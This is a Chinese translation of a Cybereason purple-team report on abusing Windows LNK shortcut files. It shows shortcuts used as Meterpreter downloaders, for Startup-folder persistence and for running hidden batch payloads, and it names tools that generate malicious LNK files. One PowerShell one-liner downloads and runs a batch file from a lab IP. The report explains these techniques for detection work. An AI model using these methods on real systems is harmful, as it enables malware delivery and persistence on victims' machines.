jackgreen译自:Cybereason 全球 SOC 和事件响应团队
本威胁分析报告是紫色团队系列的一部分。在本系列中,概述了威胁参与者如何利用这些技术,描述了如何重现攻击,并报告了防御者如何检测和预防这些攻击。
紫色团队系列报告包括三个部分:
-
红队部分创建已知攻击方法的版本。
-
蓝队部分详细介绍了这类攻击,并介绍了现实生活中的例子。
-
紫队部分介绍了如何检测此类攻击。
要点
●广泛流行的初始感染和持久化方法:由于微软最近对从互联网下载的宏启用文件所做的更改,Cybereason GSOC观察到通过快捷文件交付的恶意软件严重上升。
● 可以很容易地与各种攻击技术相结合:灵活上网文件格式使得它很容易通过PowerShell或lolbin,使用带有dll侧载和“无文件”攻击类型的快捷文件进行攻击。
● 很难阻止:虽然这仍然是一个二进制文件类型,快捷文件本身是良性的。它们只是指向另一个资源的指针。快捷方式文件也是Windows操作系统的关键组成部分,因此不可能完全禁止它们。
Windows 快捷方式文件 (LNK) 也称为“链接”文件,是一种Windows 专有格式规范,允许用户创建指向文件、命令、网络共享等的图形“指针”。
LNK 文件通常在 Windows 资源管理器的“最近文件”或“快速访问”部分中自动创建。也可以通过右键单击文件并选择“创建快捷方式”来按需创建它们。
创建快捷方式的示例
可以通过右键单击快捷方式的 .LNK 文件,然后选择“属性”来,编辑快捷方式文件上的各种属性,例如目标、目录和图标。
LNK 文件的属性
武器化LNK 文件
在本节中,我们将从进攻性安全的角度介绍如何利用 LNK 文件进行恶意软件传递。我们将展示如何创建执行恶意载荷(反向 shell)的 LNK 文件,以及如何使用 LNK 属性使其在系统上持久化。
LNK 文件如何被滥用?
如上所述,快捷方式文件实际上只是指向另一个资源的指针。这使得使用 LNK 文件非常容易:
-
运行特定的 cmd.exe 命令
-
运行 PowerShell“单行命令 ”
-
执行目录中的隐藏文件。
快捷方式文件的另一个属性是,即使禁用了“隐藏已知文件类型的扩展名”,快捷方式文件也永远不会显示“.lnk”扩展名。这可以简化网络钓鱼攻击,因为快捷方式和实际文件在外观上几乎相同。
快捷方式文件不显示“.lnk”扩展名的示例
LNK 文件设置
在以下所有演示中,我们将使用与“恶意软件”相同的 Meterpreter 有效载荷 - 一个标准的reverse_tcp_listener 可执行文件。
Meterpreter 有效负载配置
免责声明,因为我们非常清楚使用开箱即用的 Meterpreter 将产生MalOps(Malicious Operations)。我们在这里寻找的是一种通过易于启动和使用的平台来查看各种技术的实际行为的方法。
用例 1:快捷方式文件作为下载器
对于我们的第一个示例,我们将获取 Meterpreter 有效载荷(名为 N0T_Malware.exe 的文件)并将其托管在一个简单的 python Web 服务器上 。
python Web 服务器上的 Meterpreter 有效负载
接下来,我们将构建 LNK 文件。单击后,我们希望受害计算机访问 Web 服务器,将 Meterpreter 有效载荷下载到 %TEMP% 目录中,并执行恶意有效载荷N0T_Malware.exe:
恶意 LNK 文件属性和启动 LNK 时执行的命令
一旦执行后的LNK 文件
下载在Temp目录中的Meterpreter文件
确认已创建Meterpreter会话
用例 2:使用 PowerShell 实现持久化
持久化流程图
在此示例中,我们对受害主机具有某种访问权限,并且我们希望创建一个持久化机制来执行以下操作:
-
检查我们的 Meterpreter 有效载荷是否仍安装在主机上 (1)如果没有,请下载可执行文件的新副本并重新执行 (2)如果存在,请启动可执行文件
-
我们希望我们的持久化机制在用户每次登录其计算机时执行
我们将创建一个简单的 PowerShell 单行代码,它将检查 %TEMP& 目录中是否存在我们的有效负载,如果不存在,则下载并执行一个新副本。
用于持久化的 Powershell 单行代码(添加了换行符以帮助提高可读性)
最初的目的是将其放入 LNK 文件中,但这将达到 GUI 中 260 个字符的限制。请注意,此限制仅在 GUI
中。LNK 文件实际上可以处理命令行参数中的 4096 个字符,但这给了我们一个稍微改变策略的机会。
利用批处理文件执行命令是攻击者中非常常见和流行的技术。在我们的方案中,我们将创建“p.bat”并将我们的 PowerShell 命令行复制到其中。此文件将托管在与我们的 Meterpreter 有效载荷相同的 Web 服务器上。现在,我们可以在 LNK 文件中添加一个简单的命令来下载并执行批处理文件。
C:WindowsSystem32cmd.exe /c "powershell.exe -command PowerShell -ExecutionPolicy bypass
-noprofile -windowstyle hidden -command "wget http://192.168.84.131:8443/p.bat -OutFile
Senv:TEMPp.bat;Start-Process "Senv:TEMPp.bat"""
Powershell 单行代码用于从我们的远程服务器下载“p.bat”
这基本上与“快捷方式文件作为下载器”部分的命令完全相同。批处理文件将执行原始 PowerShell 单行代码。
最后,我们将 LNK 文件命名为无害的文件,并将其放在 Windows Startup 文件夹中作为我们的持久化机制。每当用户登录时,LNK文件都会执行,下载并运行“p.bat”,它将处理Meterpreter有效载荷。
名为“eula”的恶意 LNK 文件,并放置在 Startup 文件夹中
用例 3:使用快捷方式执行隐藏的恶意文件
在我们的第三个示例中,我们将使用一种流行的策略,该策略在 Qbot 和 IcedID 的活动中观察到。我们将创建一个存档文件,其中包含以下内容:
-
我们的 Meterpreter 有效载荷
-
批处理文件
-
LNK 文件
除 LNK 文件之外的所有内容都将对用户隐藏。攻击的流程将是:
-
用户点击LNK文件
-
LNK 文件启动批处理文件
-
批处理文件将使用 xcopy 将 Meterpreter 可执行文件复制到 %TEMP% 中
-
批处理文件将执行 Meterpreter 可执行文件
攻击流程图
我们将从创建批处理文件开始。我们的批处理文件将使用 xcopy 将有效载荷复制到 %TEMP% 目录并执行它。很简单。需要注意的一点是,“/h”选项很重要,因为如果未设置此参数,xcopy 不会复制隐藏文件。
批处理文件用作我们执行的一部分
我们继续像以前一样创建 LNK 文件,这次冒充就业简历。执行时,它会调用我们隐藏的批处理文件
LNK 文件执行隐藏批处理
它将调用我们隐藏的批处理文件 现在我们只需要将除 LNK 之外的所有内容标记为“隐藏”,压缩存档,并将其交付给我们的受害者。
攻击中的操作顺序
用于自动创建恶意快捷方式的工具
在我们的示例中,我们演示了通过 GUI 手动创建 LNK 文件的过程,主要是为了简单起见并演示各种可用选项。由于这已成为一种非常流行的初始进入技术,攻击者正在寻求扩展他们的活动和工具。进入自动化...
Lnk_Generator
我们的第一个示例 Lnk_Generator 是由 Octoberfest7 创建的一个简单的工具。首先在 Windows 主机上运行 PowerShell 脚本以创建“模板”LNK 文件:
“Template_generator.ps1”源代码
将模板文件复制到安装了 Python 的主机并运行 genlnk.py 以获取要运行的已配置命令,并将其嵌入到LNK 模板文件中。
“genlnk.py”源代码
Lnk2Pwn
lnk2pwn 是用于生成恶意 LNK 文件的 GUI 工具。它将执行与上述相同的操作,但来自图形界面。
Lnk2Pwn 的 GUI 菜单
创建的 LNK 文件示例
示例 lnk 文件的属性,与 GUI 中设置的参数匹配
EmbedExeLnk
EmbedExeLnk 是由 x86matthew 创建的一个有趣的概念验证项目。如上所述, LNK 文件可用作恶意软件下载器。在这个项目中,可执行文件实际上嵌入到 LNK 文件中。这是通过创建 LNK 并将 XOR 加密的可执行数据附加到文件末尾来完成的。然后,PowerShell 用于解密和读取数据,将其复制到 %TEMP% 并执行。
执行时,会创建一个 lnk 文件,该文件不仅看起来像一个文本文件,而且还会打开一个记事本窗口,其中包含 Chrome 的弱默认密码(请注意,这需要在目标计算机上安装 Chrome)。通过这样做,可以将 LNK 文件重命名为“密码”而不会引起任何怀疑。
EmbedExeLnk
参考链接:
https://github.com/Octoberfest7/lnk_generator
https://github.com/it-gorillaz/lnk2pwn
https://github.com/d4rkiZ/EmbedExeLnk-
https://www.cybereason.com/blog/threat-analysis-taking-shortcuts-using-lnk-files-for-initial-infection-and-persistence
原文始发于微信公众号(Desync InfoSec):使用 LNK 文件进行初始感染和持久化(上)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论